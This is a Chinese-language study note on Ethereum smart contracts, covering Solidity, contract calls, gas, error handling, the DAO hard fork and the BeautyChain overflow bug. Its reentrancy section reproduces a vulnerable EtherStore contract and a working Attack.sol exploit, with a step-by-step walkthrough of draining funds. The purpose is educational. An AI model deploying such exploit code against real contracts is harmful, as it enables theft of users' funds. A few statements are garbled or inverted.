以太坊之九智能合約

正在學習區塊鏈,如果我哪裏有錯誤希望大家指出,如果有任何想法也歡迎留言。這些筆記本身是在typora上寫的,如果有顯示不正確的敬請諒解。筆記本身也是給我自己寫的,所以如果有侵權的請通知我,我立即刪除。

9.智能合約

9.1 智能合約的定義

先說維基百科的吧,A smart contract is a computer protocol intended to digitally facilitate, verify, or enforce the negotiation or performance of a contract. Smart contracts allow the performance of credible transactions without third parties. These transactions are trackable and irreversible.

比如我借了錢給朋友,但是朋友可能不還我,就算我能夠撕破臉起訴他,還是需要等法院的強制執行,這豈不很難受,作爲一個去中心化的系統,這種合約如果能夠到期自然執行,不依賴於法院、警察等任何第三方那就好了,這就是智能合約。

定義說完了,還是有點疑問,那智能合約如果跟現實社會發生了聯繫怎麼辦?比如我要定期交房租。這個需要進行軟件進行配合,這種軟件需要再開發。不過像那種定期借款的應該是沒有問題的。

說一下我對外部賬戶和合約賬戶的理解。只有外部賬戶才能發起智能合約,外部賬戶就可以理解爲和比特幣一樣的賬戶,而合約賬戶只能由智能合約進行操縱,也就保證了智能合約只能由代碼進行操縱,而外部賬戶在生成只能合約的時候代碼哈希就已經存上了,因此可以保證合約必須按照代碼中寫的那樣執行。

9.2 類的結構

以太坊中智能合約用的是solidity語言,一種和js很像的面向對象的語言。下面以一個電子拍賣爲例。

狀態變量就是成員變量的意思,下面用到的數據類型有uint(即unsigned int),mapping(哈希,但是這solidity的哈希不能遍歷,所以需要手動存儲所有元素再遍歷),address,數組(可動態大小可靜態大小,下面是動態大小)。

log記錄就是event函數,很明顯是用來打log的。通過名字就很明顯能看出來,第一個函數是每出現一個價格更高的競拍者就打印一次日誌,bidder是競拍者的地址,amount是該競拍者的金額。第二個函數是用於記錄最高的競拍者,winner就是獲勝的競拍者的地址,amount就是獲勝者的金額。

構造函數就是構造函數,solidity可以使用C++那種函數名相同的構造函數,但是新版的solidity建議使用下面那種constructor的方式。構造就是構造,創建類即創建合約時會調用唯一調用一次。

成員函數就是該智能合約具體是如何操作以太幣的。成員函數中有一個關鍵字是payable,表明要向該函數轉賬,例如下面的bid()函數,我要是想出價就要先把我出價的這部分以太幣鎖定,以證明我有這麼多的錢,就相當於我向這個賬戶轉賬。而下面的withdraw()函數是指我沒有競拍成功,系統得把我的錢還給我,我並沒有向函數中轉錢,自然就沒有必要加payable。如果沒加,但是轉賬了就會拋出異常。

fallback()函數。如果有需要調用的函數,這些函數要存儲在data域中。那如果有的人沒在data域中寫函數呢?或者輸入的參數錯誤呢?得有個函數可執行的吧,就是這個默認函數。雖然叫fallback(),但是這個函數根本沒有名字。當然,如果可能轉賬的話需要加上payable,一般也都是加的。

function() public [payable]{
......
}

![avatar][pic9.2-1]

9.3 智能合約的創建和運行

只有外部賬戶才能發起合約,合約賬戶是不行的。

如果是非智能合約,收款人寫正常的收款人地址就可以,如果收款人寫的0x00,則表示要創建的是一個智能合約。因爲收款人是假的,所以金額也就寫成0,不過汽油費是要照給的,只要執行智能合約的代碼,汽油費就是要給的。合約的執行代碼寫在data域中,這個data域應該是交易樹中每條交易的內容。爲了增強可移植性,智能合約是運行在EVM上的。

9.4 智能合約的調用

外部賬戶可以調用智能合約(合約賬戶不可以),一個合約也可以調用另一個合約。

9.4.1 外部賬戶調用合約

外部賬戶在調用智能合約的時候其實就是創建一個交易,接收地址是待調用的智能合約的地址,data域表示要調用的函數及其參數的編碼值。這個data域什麼意思,我也不清楚。

SENDER ADDRESS 就是發起調用合約的人

TO CONTRACT ADDRESS是合約地址

value 轉賬的金額,說明這個不是爲了轉賬,爲了調用智能合約

GAS USED 花了多少汽油費

GAS PRICE 汽油費的單位價格

GAS LIMIT 最多願意支付的汽油費

TX DATA 準備調用的函數和參數

avatar

9.4.2 合約調用合約:直接調用

avatar

很明顯是B合約調用A合約。B的成員函數callAFooDirectly()中創建了A的實例,並調用了A的成員函數。其中LogCallFoo()是log打印函數,第6行emit函數僅爲執行該log函數,所以例子中contract A其實什麼都沒幹,只是打個比方。也可以通過.gas()或.value()調整提供gas數量或提供一些ETH。

9.4.3 合約調用合約:address類型的call()函數

![avatar][pic9.4.3-1]

call()函數的參數有兩個,一個是要調用的函數的簽名(簽名就是哈希值,可以理解爲函數值,畢竟我還沒見過4位的哈希),是4個字節。其它參數擴展到32位,表示要調用函數的參數,也就是合約A中的參數str。

上面的例子相當於

A(addr).foo("call foo by func call")

返回布爾類型表示執行的結果。

也可以通過.gas()或.value()調整提供gas數量或提供一些ETH。

Q:直接調用

**直接調用:**因爲相當於在B合約中直接執行A合約的函數,所以如果A合約如果出現了異常,B合約也會直接拋出異常,B合約也會因結束而回滾。

**call()函數:**這種方式如果A合約拋出了異常也不會導致C合約的回滾,只會讓其繼續進行。

9.4.4 合約調用合約:代理調用

delegatecall()函數的使用方法和call()函數類似,只是不能調用.value()成員函數。

Q:

**call()函數:**執行的時候需要切換到被調用的智能合約上下文中

delegatecall()函數:使用的代碼是給定的地址(即A合約)中的,其它的屬性,例如存儲、餘額等使用的是當前C合約的。這麼做的目的是使用存儲在另外一個合約中的庫代碼。

9.5 智能合約的工作過程

前面都是微觀的,現在是宏觀的。如果我想發起一個智能合約,我就要寫好智能合約的代碼,把這部分函數寫入data域,收款人地址是0,轉賬金額是0,汽油費照給,礦工把這個合約寫入區塊鏈中就算結束了。接下來會有人調用這個智能合約,當然智能合約的狀態是所有人都能看到的。

9.6 汽油費

既然智能合約是個圖靈完備的模型,那出現了死循環怎麼辦,畢竟沒有辦法保證程序不會出現喜訊後。這個問題交給了合約的制定者,規定了每條指令所花費的金額,即汽油費。合約制定的時候會一次性扣掉GasLimit的汽油費,如果你的汽油費花光了但是程序還沒執行結束,交易就會回滾。

不同指令所花費的汽油費是不一樣的,加減乘除那種就很少,如果是取哈希那種雖然只有一條語句,但是汽油費就很貴,因爲底層操作很複雜。

下面是汽油費相關的數據結構。

AccountNonce:交易的序號,防止發生replay attack

Price:單位汽油費的價格

GasLimit:可能花費的最大汽油費,所以GasLimit和Price的乘積就是全部的汽油費

Recipient:收款人的地址

Amount:轉的金額

Payload:需要執行的可約的函數

![avatar][pic9.5-1]

9.7 錯誤處理

智能合約沒有try-catch,如果出現了錯誤,沒有特殊情況只會回滾。一共有三種語句可能造成回滾。

  • assert(bool condition):如果條件不滿足就拋出——用於內部錯誤,和C語言的差不多
  • require(boll condition):如果條件不滿足就跑掉——用於輸入或外部組件引起的錯誤,比如拍賣已經結束了卻還在出價,是不應該再有參數了
  • revert():終止運行並回滾狀態變動——無條件拋出錯誤

9.8 可重入攻擊

肖老師講的我不是很理解,網上找的看懂了。
  直接用把網上的東西抄過來了。《乾貨 | Solidity 安全:已知攻擊方法和常見防禦模式綜合列表,Part-1:可重入漏洞、算法上下溢出 » 論壇 » EthFans | 以太坊愛好者
  一句話來說就是當以太坊智能合約調用黑客合約向黑客回款的時候,以太坊智能合約卻不會指定調用黑客的哪個的函數,導致自動調用黑客合約的callback()函數,而這個回調內部卻是再次向以太坊合約取錢,這樣就造成無限遞歸,不停的取錢。直至滿足外部退出條件,比如以太坊合約中沒錢了,或者汽油費沒了等。我有問題的原因是,solidity語言和普通的語言有很大區別,普通語言,我給你轉賬,調用我自己寫的函數就完了,但是solidity轉賬卻是自動調用你的的fallback()函數,完了你的fallback()函數反過來還能調用我的函數。

下面是待攻擊的智能合約。
EtherStore.sol:

contract EtherStore {
 
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
 
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }
 
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
}

該合約有兩個公共職能。 depositFunds() 和 withdrawFunds() 。該 depositFunds() 功能只是增加發件人餘額。該 withdrawFunds() 功能允許發件人指定要撤回的 wei 的數量。如果所要求的退出金額小於 1Ether 並且在上週沒有發生撤回,它纔會成功。額,真會是這樣嗎?…
  該漏洞出現在 [17] 行,我們向用戶發送他們所要求的以太數量。考慮一個惡意攻擊者創建下列合約。
Attack.sol:

import "EtherStore.sol";
 
contract Attack {
  EtherStore public etherStore;
 
  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
 
  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }
 
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
 
  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

讓我們看看這個惡意合約是如何利用我們的 EtherStore 合約的。攻擊者可以(假定惡意合約地址爲 0x0…123 )使用 EtherStore 合約地址作爲構造函數參數來創建上述合約。這將初始化並將公共變量 etherStore 指向我們想要攻擊的合約。

然後攻擊者會調用這個 pwnEtherStore() 函數,並存入一些 Ehter(大於或等於1),比方說 1Ehter,在這個例子中。在這個例子中,我們假設一些其他用戶已經將若干 Ehter 存入這份合約中,比方說它的當前餘額就是 10 ether 。然後會發生以下情況:

  1. Attack.sol -Line [15] -EtherStore合約的 despoitFunds 函數將會被調用,並伴隨 1Ether 的 mag.value(和大量的 Gas)。sender(msg.sender) 將是我們的惡意合約 (0x0…123) 。因此, balances[0x0…123] = 1 ether 。
  2. Attack.sol - Line [17] - 惡意合約將使用一個參數來調用合約的 withdrawFunds() 功能。這將通過所有要求(合約的行 [12] - [16] ),因爲我們以前沒有提款。
  3. EtherStore.sol - 行 [17] - 合約將發送 1Ether 回惡意合約。
  4. Attack.sol - Line [25] - 發送給惡意合約的 Ether 將執行 fallback 函數。
  5. Attack.sol - Line [26] - EtherStore 合約的總餘額是 10Ether,現在是 9Ether,如果聲明通過。
  6. Attack.sol - Line [27] - 回退函數然後再次動用 EtherStore 中的 withdrawFunds() 函數並“重入” EtherStore合約。
  7. EtherStore.sol - 行 [11] - 在第二次調用 withdrawFunds() 時,我們的餘額仍然是 1Ether,因爲 行[18] 尚未執行。因此,我們仍然有 balances[0x0…123] = 1 ether。lastWithdrawTime 變量也是這種情況。我們再次通過所有要求。
  8. EtherStore.sol - 行[17] - 我們撤回另外的 1Ether。
  9. 步驟4-8將重複 - 直到 EtherStore.balance >= 1,這是由 Attack.sol - Line [26] 所指定的。
  10. Attack.sol - Line [26] - 一旦在 EtherStore 合約中留下少於 1(或更少)的 Ether,此 if 語句將失敗。這樣 EtherStore 就會執行合約的 行[18]和 行[19](每次調用 withdrawFunds() 函數之後都會執行這兩行)
  11. EtherStore.sol - 行[18]和[19] - balances 和 lastWithdrawTime 映射將被設置並且執行將結束。
      最終的結果是,攻擊者只用一筆交易,便立即從 EtherStore 合約中取出了(除去 1 個 Ether 以外)所有的 Ether。

9.9 著名的THE DAO事件

THE DAO是一個非常著名的衆籌合約,衆籌的速度超級快,但是出現了一個bug,就是上面的可重入,黑客進行了攻擊,盜走了約佔總量10%的以太幣,以太坊社區的人分成了兩部分,一部分支持回滾,因爲這屬於讓黑客偷了東西,以太坊開發者認爲當時以太坊還在發展階段,這麼大量的以太幣丟失,造成的後果不堪設想,而THE DAO屬於那種大到不能倒的合約,保護它還是很有必要的。另一部分人認爲這只是以太坊上的一個合約出了問題,就要回滾整個以太坊,不合適吧,那以後某些精英階級要求回滾以太坊,還會再回滾?有第一次就有第二次。最後以太坊社區進行了投票,大多數人決定回滾。
  開始回滾吧。首先,用51%攻擊的方法強行分叉是不行的。比如2月1日開始黑客攻擊,現在2月5日,我把從2月1日往後所有的區塊全部刪掉是不行的,因爲這段時間還有其它交易。
  那就換方法吧,以太坊加了一段代碼,在以後打包交易的時候要求判斷是不是THE DAO相關的交易,如果是就不允許打包。不過這又涉及到了新的問題——汽油費。這部分汽油費誰來交?以太坊代碼中寫的是不需要汽油費,導致礦工們不停被攻擊,礦工們最後受不了了又換回原來的代碼了。這個方法本來是個不錯的軟分叉,因爲舊的代碼會支持新代碼生成的區塊,但是新的代碼卻不一定支持舊的代碼生成的區塊。這個方法失敗後留給以太坊研發人員的時間不多了,因爲從THE DAO中把錢移到黑客合約中,黑客盜來的錢有29天的時間保存,過了這段時間就會轉入黑客的賬戶。
  最後以太坊使用了最笨的方法——強行回滾硬分叉。鎖定了THE DAO中全部的以太幣,將它們全部轉入一個新的賬戶,再進行重新分配。因爲攻擊的人可能不知10%的黑客一個人,所以光鎖定黑客一個人的錢是沒用的。這也就造成了以太坊和以太坊經典的產生。至於在分叉之前的錢能不能在以太坊和以太坊經典中花兩遍,肖老師說用chanID來區分就行了,我沒理解。如果我的賬戶既支持ETH也支持ETC,你用chanID爲ETC的去東京買了東西,ETH上並沒有顯示,所以當你去希臘再用ETH買東西的時候,沒人知道的。

9.10 beauty chain(美鏈)

先交代一下代幣的背景。有的數字貨幣是以以太幣爲背書,有點類似於金本位發行貨幣,這個應該叫以太本位,例如一枚以太幣和我這個幣的匯率是1:100,這些過程全部都是通過智能合約處理和兌換的。來個圖,說說那種代幣出問題的原因:
avatar
  紅框中amount是待扣掉的以太幣,_value是用戶實際擁有的以太幣下面的.sub成員函數是刪除掉以太幣的操作,.add成員函數是增加代幣的操作。問題很簡單,amount溢出了,如果恰巧計算,可以實現不扣以太幣,空手套白狼獲得代幣,當然汽油費還是要交的。導致這種代幣的價格斷崖式下跌。

9.11 Q&A

執行智能合約和挖礦嘗試nonce應該先執行哪個

因爲智能合約執行之後會修改狀態樹中的賬戶信息,所以必須要先正常執行智能合約再去挖礦。因爲執行智能合約會消耗一定的資源,汽油費就是例子,那如果最後我挖不到礦,汽油費會有我的分成嗎?很可惜沒有。因爲汽油費只會給最終發佈區塊的礦工。驗證智能合約交易的過程也是很繁瑣的,會不會有區塊根本不驗證而直接挖礦呢?不會,因爲不驗證就表明如果該區塊是錯誤的,哪怕挖出了下一個正確的區塊也沒有辦法正常發佈,因爲這不是最長合法鏈。

又有人要問了,那我如果不驗證呢?管別人要結果呢?這不就跟礦池差不多了,而且要結果肯定沒有自己算來得快。

智能合約執行失敗的區塊要加入鏈中嗎

需要,不管是智能合約本身有問題還是汽油費不足,只要執行過的汽油費都是不退的,那礦工收到汽油費的證據也要保存起來,就是這個無效區塊。大家也要檢驗一下你花掉的汽油費是否正確。
鎖死在合約賬戶的以太幣能取出來嗎
  如果因爲智能合約的代碼有問題導致以太幣被鎖死在合約賬戶中,錢怎麼辦?答案是取不出來的。因爲只有智能合約才能調用合約賬戶,而如果寫入了區塊鏈中就說明代碼是改不了的。不可篡改的另一個意思是,不能改BUG了。那如果在定義智能合約的時候留一個後門的變量,加幾個函數,可以有一個萬能賬戶可以動合約賬戶的錢呢?這個管理員賬號就很危險,因爲這違背了去中心化的初衷,大家也是不會同意的。因此有的時候發幣者會故意將剛剛開發出的幣鎖上3年,大家安心開發。
以太坊支持多線程嗎

答案是不支持。solidity語言就沒有支持多線程的語法,最基本的原因是經常會有驗證的過程,既然是驗證那就要保證不管執行多少次結果都是一樣的,多線程可能造成結果不同。同樣,任何可能造成結果不同的操作都是允許的,再比如隨機數,所以前面的布隆過濾器用的僞隨機數。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章